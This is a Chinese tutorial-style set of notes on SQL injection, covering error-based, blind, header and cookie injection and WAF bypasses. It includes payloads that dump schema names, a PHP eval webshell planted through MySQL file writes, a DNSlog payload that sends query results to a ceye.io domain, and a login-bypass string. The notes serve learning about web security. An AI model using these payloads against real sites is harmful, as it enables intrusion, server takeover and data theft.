SQL注入笔记

SQL注入:一种常见的Web安全漏洞,形成的主要原因是web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。

SQL注入的几个步骤:

1.寻找可能的注入点:页面存在传值或者查询的地方,比如URL中的GET型传参,也比如页面中的以POST方法发送数据的搜索框。

2.判断是字符型还是数字型注入。
数字型注入:这一类的 SQL 语句原型大概为SELECT * FROM users WHERE id=$id,使用1'1 and 1=11 and 1=2来判断,如果都能正常显示界面则是字符型注入,不能正常显示就是数字型注入。

字符型注入点:这一类的 SQL 语句原型大概为 SELECT * FROM users WHERE id=‘$id’,使用1'1'and 1--+1'and 1=2--+来判断如果能正常显示是字符型注入,报错就是数字型注入。

3.如果是字符型注入,找到闭合方式('、"、')、"))。

使用?id=1'?id=1"来判断。如果单引号报错,双引号不报错,尝试?id=1'—+,无报错则 ’ 闭合。报错则’)闭合。如果单引号不报错,双引号报错,尝试?id=1"—+,无报错则"闭合,报错则")闭合。

4.判断查询列数长短,groupby或orderby。

5.查询回显位置(在哪里显示,显示几条)。

报错注入

报错注入:通过构造语句,让错误信息中夹杂可以显示数据库内容的查询语句。

  1. 通过extractvalue()报错注入
    extractvalue (XML_document, XPath_string):从目标 XML中 返回包含所查询值的字符串。爆库名:extractvalue(1,concat(0x7e,(select database()))),爆表名:extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()))),爆列名:extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users')))

  2. 通过updatexml()报错注入
    updatexml (XML_document, XPath_string, new_value):改变文档中符合条件的节点的值。爆库名:updatexml(1,concat(0x7e,(select database())),3),爆表名爆列名如上。

  3. 通过floor()报错注入
    能够联合使用floor()、rand()和groupby语句进行报错注入的原理:https://blog.csdn.net/qq_64395221/article/details/139101397,目前这种漏洞数据库已修复。

盲注

盲注:在SQL注入后,SQL语句执行select之后,可能由于网站代码的限制或者apache等解析器配置了不回显数据,造成在select数据之后不能回显到前端页面。此时,我们需要利用一些方法进行判断,这个判断的过程称之为盲注。

盲注分类:常用为布尔盲注和时间盲注。

布尔盲注的使用场景:页面无回显(查询回显或报错回显),但页面有真值和假值两种状态。

时间盲注的使用场景:页面无真假值两种状态,但可在布尔盲注的基础上利用页面的响应时间不同(配合使用if语句和sleep()),逐个猜解数据。

盲注的基本使用:https://blog.csdn.net/LJH1999ZN/article/details/122863892

MySQL文件上传

MySQL文件上传:之前的SQL注入只局限于获取或破坏数据库信息,虽然这已经对服务器足够致命,但并没有办法实现对服务器的完全控制,而本节的MySQL文件上传注入,则会往服务器注入一个木马,从而进一步提权实现对服务器的完全控制。

MySQL文件上传注入基本流程

判断MySQL文件上传注入基本条件是否满足

1、数据库允许读写文件

MySQL新版本下secure-file-priv字段 : secure-file-priv参数是用来限制SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出。

secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下。

secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制。

且要进行文件的读写是需要很高的权限,最好是root权限。

2、知道要读写位置的绝对路径

当我们要进行文件的读写时要知道绝对路径;当我们要往数据库里面写木马文件,就要知道数据库的绝对路径。

写入一句话木马,通过webshell植入反弹shell

<?php%20@eval($_REQUEST["mima"])?>:把通过HTTP请求传递的名为mima的参数值作为PHP代码并执行,获取webshell,用特定连接软件连接。由于webshell可能会被服务器管理员或杀毒软件关掉,且有些服务器加上防火墙,不接受外界与其的连接,只能自发连接外部。所以获取的webshell可能不稳定,可以通过webshell植入反弹shell。相关案例:https://www.modb.pro/db/104067

DNSlog注入

上述SQL注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到我们的DNSlog注入。DNSlog注入需要有两个条件:SQL服务器能连接网络;开启了load_file()使用权限(load_file()还可用来发送DNS解析请求)。

使用案例:

  1. 攻击者先向web服务器提交payload语句,比如(select load_file(concat('\\','攻击语句',.XXX.ceye.io\abc)))。
  2. payload语句被放到数据库中执行,生成的结果与后面的.XXX.ceye.io\abc构成一个新的域名。
  3. 这时load_file()就可以发起请求,那么这一条带有数据库查询结果的域名就被提交到DNS服务器进行解析。
  4. 此时查看DNS服务器上的DNSlog就可以得到SQL注入结果。注意注入语句中的ceye.io,这是一个开放的DNSlog平台,在http://ceye.io上我们可以获取到有关ceye.io的DNS查询信息。实际上在域名解析的过程中,是由顶级域名向下逐级解析的,我们构造的攻击语句也是如此,当它发现域名中存在ceye.io时,它会将这条域名查询转到相应的DNS服务器上,而通过http://ceye.io我们就可以查询到这条DNS解析记录。

DNSlog注入自动化脚本:dnslogSql.py

POST提交注入

当uname存在注入点时,可以使用POST提交注入。通过构造特定的SQL语句,如使用"admin’ or 1=1#"指令来绕过用户验证。

GET与POST提交的区别:

  • GET提交可以被网页缓存,而POST提交则不会。
  • GET提交的参数可以保留在浏览器的历史记录中,可以被收藏为书签;POST提交则不会。
  • GET提交有长度限制,最多2048个字符;而POST提交没有长度限制,不仅可以使用ASCII字符提交,还可以使用二进制数据。

常用工具软件:SQLMap和BurpSuite配合使用获取抓包信息。

SQLMap的基本使用:https://www.bilibili.com/video/BV11W41157j3

BurpSuite:用于修改数据包,修改浏览器提交的post请求报文中头部字段信息。抓包可以分为两大类,一类是以wireshark为代表的,监控网卡流量,但不对流量进行任何拦截,通常用来做流量审计用;另一类是以BurpSuite为代表的,用来抓取浏览器产生的数据包,会对每个流量包进行拦截,便于修改。

报头注入

在页面看不到明显变化且找不到注入点时,可以尝试报头注入(User-agent、Referer、Cookie),即通过修改HTTP请求头中的这些字段实现SQL注入。

User-agent注入点

可能存在的安全检查check_input对输入的用户名和密码进行检测,以字符的形式入数据库,而不是以命令的方式进行查询,导致无法注入。但服务器后台会对提交的用户名和密码进行对比查询,看是否一致,比对成功后,在数据库security的数据表uagents里插入数据列uagent、ip_address、username三列信息,此时uagent可以为注入点。

uagent即user-agent,用户代理,内容就是浏览器及版本信息,电脑信息等。常见用途为限制打开软件,浏览器,以及上网行为管理等。

user-agent报头注入的过程是,通过BurpSuite拦截登录网站时浏览器发出的数据包,修改$uagent参数,使用报错注入方式在插入信息执行命令报错,反馈错误信息,从而达到user-agent报头注入目的。

Referer注入点

利用Referer进行报错注入同理。

Referer:头部信息header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

Cookie注入点

Cookie:网站为了识别用户并存储用户数据而保存在用户电脑或移动设备上的小型文本文件。

Cookie的创建:Cookie通常由网站服务器发送到用户的浏览器,这个过程是在用户访问网站时自动完成的。服务器会向浏览器发送一个包含Cookie的HTTP响应头,这个Cookie包含了一些信息,如用户的身份认证、偏好设置或购物车内容等。

Cookie 的存储:浏览器接收到Cookie后,会将它存储在用户的计算机或移动设备的指定文件夹中。这些Cookie文件通常是以user@domain格式命名的,其中user是用户的本地用户名,domain是所访问的网站的域名。

Cookie的类型分为两种,一种是会话Cookie(Session Cookies),一种是持久性Cookie(Persistent Cookies)。

  • 会话Cookie:会话Cookie是临时Cookie,仅在用户关闭浏览器窗口之前有效。它们通常用于存储用户在单个会话中的信息,例如登录状态或购物车内容。

  • 持久性Cookie:持久性Cookie会在用户关闭浏览器窗口后继续存储在用户的设备上,直到过期或被手动删除。它们通常用于存储用户偏好设置或跟踪用户浏览行为。

Cookie可用于身份验证,验证过程会把客户端的Cookie对数据库的用户表进行select查询,这时如果没有对Cookie中传递的参数进行过滤操作,会导致SQL注入漏洞的产生,可以趁此机会进行Cookie注入。

Cookie注入的过程是,通过BurpSuite拦截登录网站时浏览器发出的数据包,修改Cookie参数,使用报错注入方式在插入信息执行命令报错,反馈错误信息,从而达到Cookie注入目的。

但手工Cookie注入的效率低,可以使用SQLmap进行自动Cookie注入。

SQL注入过滤机制

在防止SQL注入攻击时,waf通常会过滤掉一些可能导致注入攻击的字符。

以下是一些可能被过滤的字符:

  1. 特殊字符:
    • 单引号('):SQL语句中,单引号通常用于界定查询字符串。
    • 双引号("):在某些数据库系统中,双引号用于界定标识符(如表名、列名)。
    • 分号(;):分号在SQL语句中用于分隔多个语句。如果允许用户输入中包含分号,攻击者可能会尝试执行多个恶意语句。
    • 注释符号(如#和–+ )
  2. SQL关键字:
    • select、insert、update、delete等
    • union、join等
    • or、and等
  3. 其他潜在的危险字符:
    • 百分号(%)和下划线(_):在LIKE查询中,这些字符具有特殊含义,用于匹配任意数量的字符和单个字符。如果攻击者利用它们进行模糊查询,可能会获取大量敏感数据。
    • 逗号(,):在SQL语句中,逗号用于分隔多个字段或值。如果逗号被过滤掉,攻击者可能无法构造完整的注入语句。

除此之外,客户端提交的参数中如果含有单引号,双引号等这些特殊字符,waf可能会使用addslashes()在单引号前加反斜线“\”,将单引号转义成没有功能性的字符。

以下是一些绕过过滤的常用方法:

  1. 使用大小写变种。因为数据库使用不区分大小写的方式处理SOL关键字,可以通过变换攻击字符串中字符的大小写来避开它们,比如“select”变为“SeLeCt”。
  2. 替换关键字。waf可能用正则表达式替换或删除select、union这些关键字,如果只匹配一次就很容易绕过,比如“select”变为“SELselectECT”。
  3. 替换函数或命令和换用生僻函数。有些函数或命令因其关键字被waf过滤而无法使用,但在很多情况下可以使用与之等价或类似的代码替代其使用。
  4. 用&&和||替换and和or。
  5. 特殊编码绕过。把被过滤的关键字或字符使用URL编码,ASCII编码或unicode编码绕过。
  6. 针对addslashes()的绕过方法——宽字节注入。宽字节注入即是把addslashes()加入的反斜杠转换为一个汉字,从而破坏转义,详细原理解释:https://blog.csdn.net/qq_35733751/article/details/106560160

更多绕过过滤的方法:https://blog.csdn.net/whatday/article/details/61912578/

SQL注入绕过安全狗方法

基础方法绕过(注释符、换行符等):https://mp.weixin.qq.com/s/Dhtc-8I2lBp95cqSwr0YQw

超大数据包绕过:https://blog.csdn.net/csdnmmd/article/details/117454678

分块传输绕过:https://blog.csdn.net/weixin_43571641/article/details/123116234

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/56964.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

酸碱PH值与浓度关系

1. 硫酸百分比浓度是指溶液中硫酸的质量占溶液总质量的百分比。‌ 例如&#xff0c;如果100克溶液中含有98克的硫酸&#xff0c;那么硫酸的百分比浓度为98% 2. 1mol/L硫酸对应百分比浓度多少&#xff1f;答&#xff1a;硫酸的质量分数98&#xff0c;1mol/L硫酸98g/L9.8%的硫酸…

RNN,LSTM,GRU的区别和联系? RNN的梯度消失问题?如何解决?

RNN&#xff0c;LSTM&#xff0c;GRU的区别和联系? RNN&#xff08;Recurrent Neural Network&#xff09;、LSTM&#xff08;Long Short-Term Memory&#xff09;和GRU&#xff08;Gated Recurrent Unit&#xff09;都是用于处理序列数据的神经网络模型&#xff0c;它们之间…

动态规划:17.简单多状态 dp 问题_买卖股票的最佳时机III_C++

题目链接&#xff1a; 一、题目解析 题目&#xff1a;123. 买卖股票的最佳时机 III - 力扣&#xff08;LeetCode&#xff09; 解析&#xff1a; 拿示例1举例&#xff1a; 我们可以如图所示买入卖出股票&#xff0c;以求得最大利润&#xff0c;并且交易次数不超过2次 拿示…

二百六十九、Kettle——ClickHouse清洗ODS层原始数据增量导入到DWD层表中

一、目的 清洗ClickHouse的ODS层原始数据&#xff0c;增量导入到DWD层表中 二、实施步骤 2.1 newtime select( select create_time from hurys_jw.dwd_statistics order by create_time desc limit 1) as create_time 2.2 替换NULL值 2.3 clickhouse输入 2.4 字段选择 2.5 …

Git的原理和使用(三)

1. 分支管理 1.1 合并模式 1.1.1 fast forward模式 git log --graph --abbrev-commit 1.1.2 no-ff模式 合并出现问题后需要进行手动修改&#xff1a; 如下图所示&#xff1a; 1.1.3 不使用no-ff模式 git merge --no-ff -m "merge dev2" dev2 1.2 分⽀策略 在实际开…

多IP访问多网段实验

文章目录 多IP访问多网段实验 多IP访问多网段实验 在当前主机配置多个IP地址&#xff0c;实现多IP访问多网段&#xff0c;记录所有命令及含义 1&#xff0c;环境搭建&#xff1a; [rootlocalhost ~]# mount /dev/sr1 /mnt # 设置ISO虚拟镜像文件文件挂载点&#xff0c;将…

数据分析和可视化python库orange简单使用方法

Orange 是一个基于 Python 的数据挖掘和机器学习库&#xff0c;它提供了一系列可视化工具和算法&#xff0c;用于数据分析、机器学习和数据可视化等任务。 一、主要特点 可视化界面&#xff1a;Orange 提供了直观的可视化界面&#xff0c;使得用户可以通过拖放操作构建数据分…

【python爬虫实战】爬取全年天气数据并做数据可视化分析!附源码

由于篇幅限制&#xff0c;无法展示完整代码&#xff0c;需要的朋友可在下方获取&#xff01;100%免费。 一、主题式网络爬虫设计方案 1. 主题式网络爬虫名称&#xff1a;天气预报爬取数据与可视化数据 2. 主题式网络爬虫爬取的内容与数据特征分析&#xff1a; - 爬取内容&am…

算法(四)前缀和

前缀和也是一个重要的算法&#xff0c;一般用来快速求静态数组的某一连续区间内所有数的和&#xff0c;效率很高&#xff0c;但不支持修改操作。分为一维前缀和、二维前缀和。 重要的前言&#xff01; 不要死记模板&#xff0c;具体题目可能是前缀和、前缀乘积、后缀和、后缀乘…

已解决:ModuleNotFoundError: No module named ‘pip‘

[已解决] ModuleNotFoundError: No module named ‘pip‘ 文章目录 写在前面问题描述报错原因分析 解决思路解决办法1. 手动安装或升级 pip2. 使用 get-pip.py 脚本3. 检查环境变量配置4. 重新安装 Python 并确保添加到 PATH5. 在虚拟环境中安装 pip6. 使用 conda 安装 pip&…

无人机电机故障率骤降:创新设计与六西格玛方法论双赢

项目背景 TBR-100是消费级无人机头部企业推出的主打消费级无人机&#xff0c;凭借其出色的续航能力和卓越的操控性&#xff0c;在市场上获得了广泛认可。在产品运行过程&#xff0c;用户反馈电机故障率偏高&#xff0c;尤其是在飞行一段时间后出现电机过热、损坏以及运行不稳定…

《深度学习》dlib 人脸应用实例 仿射变换 换脸术

目录 一、仿射变换 1、什么是仿射变换 2、原理 3、图像的仿射变换 1&#xff09;图像的几何变换主要包括 2&#xff09;图像的几何变换主要分为 1、刚性变换&#xff1a; 2、仿射变换 3、透视变换 3&#xff09;常见仿射变换 二、案例实现 1、定义关键点索引 2、定…

OpenHarmony 入门——ArkUI 自定义组件内同步的装饰器@State小结(二)

文章大纲 引言一、组件内状态装饰器State1、初始化2、使用规则3、变量的传递/访问规则说明4、支持的观察变化的场景5、State 变量的值初始化和更新机制6、State支持联合类型实例 引言 前一篇文章OpenHarmony 入门——ArkUI 自定义组件之间的状态装饰器小结&#xff08;一&…

100多种【基于YOLOv8/v10/v11的目标检测系统】目录(python+pyside6界面+系统源码+可训练的数据集+也完成的训练模型)

待更新(持续更新&#xff09;&#xff0c;早关注&#xff0c;不迷路............................................................................... 基于YOLOv8的车辆行人实时检测系统基于YOLOv10的车辆行人实时检测系统基于YOLOv11的车辆行人实时检测系统基于YOLOv8的农…

如何在UE5中创建加载屏幕(开场动画)?

第一步&#xff1a; 首先在虚幻商城安装好Async Loading Screen&#xff0c;并且在项目的插件中勾选好。 第二步&#xff1a; 确保准备好所需要的素材&#xff1a; 1&#xff09;开头的动画视频 2&#xff09;关卡加载图片 3&#xff09;准备至少两个关卡 第三步&#xff1a…

PythonExcel批量pingIP地址

问题&#xff1a; 作为一个电气工程师&#xff08;PLC&#xff09;&#xff0c;当设备掉线的时候&#xff0c;需要用ping工具来检查网线物理层是否可靠连接&#xff0c;当项目体量过大时&#xff0c;就不能一个手动输入命令了。 解决方案一&#xff1a; 使用CMD命令 for /L %…

二百六十八、Kettle——同步ClickHouse清洗数据到Hive的DWD层静态分区表中(每天一次)

一、目的 实时数仓用的是ClickHouse&#xff0c;为了避免Hive还要清洗数据&#xff0c;因此就直接把ClickHouse中清洗数据同步到Hive中就行 二、所需工具 ClickHouse&#xff1a;clickhouse-client-21.9.5.16 Kettle&#xff1a;kettle9.2 Hadoop&#xff1a;hadoop-3.1.3…

视频网站开发:Spring Boot框架的高效实现

5 系统实现 5.1用户信息管理 管理员管理用户信息&#xff0c;可以添加&#xff0c;修改&#xff0c;删除用户信息信息。下图就是用户信息管理页面。 图5.1 用户信息管理页面 5.2 视频分享管理 管理员管理视频分享&#xff0c;可以添加&#xff0c;修改&#xff0c;删除视频分…

linux线程 | 同步与互斥 | 全解析信号量、环形生产消费者模型

前言: 本节内容讲述linux下的线程的信号量&#xff0c; 我们在之前进程间通信那里学习过一部分信号量&#xff0c; 但是那个是systemV版本的信号量&#xff0c;是以进程间通信的视角谈的。 但是本篇内容会以线程的视角谈一谈信号量。 ps&#xff1a;本篇内容建议学习了生产者消…

Qml-Item的Id生效范围

Qml-Item的Id生效范围 前置声明 本实例在Qt6.5版本中做的验证同一个qml文件中&#xff0c;id是唯一的&#xff0c;即不同有两个相同id 的Item;当前qml文件中声明的id在当前文件中有效&#xff08;即如果其它组件中传入的id&#xff0c;与当前qml文件中id 相同&#xff0c;当前…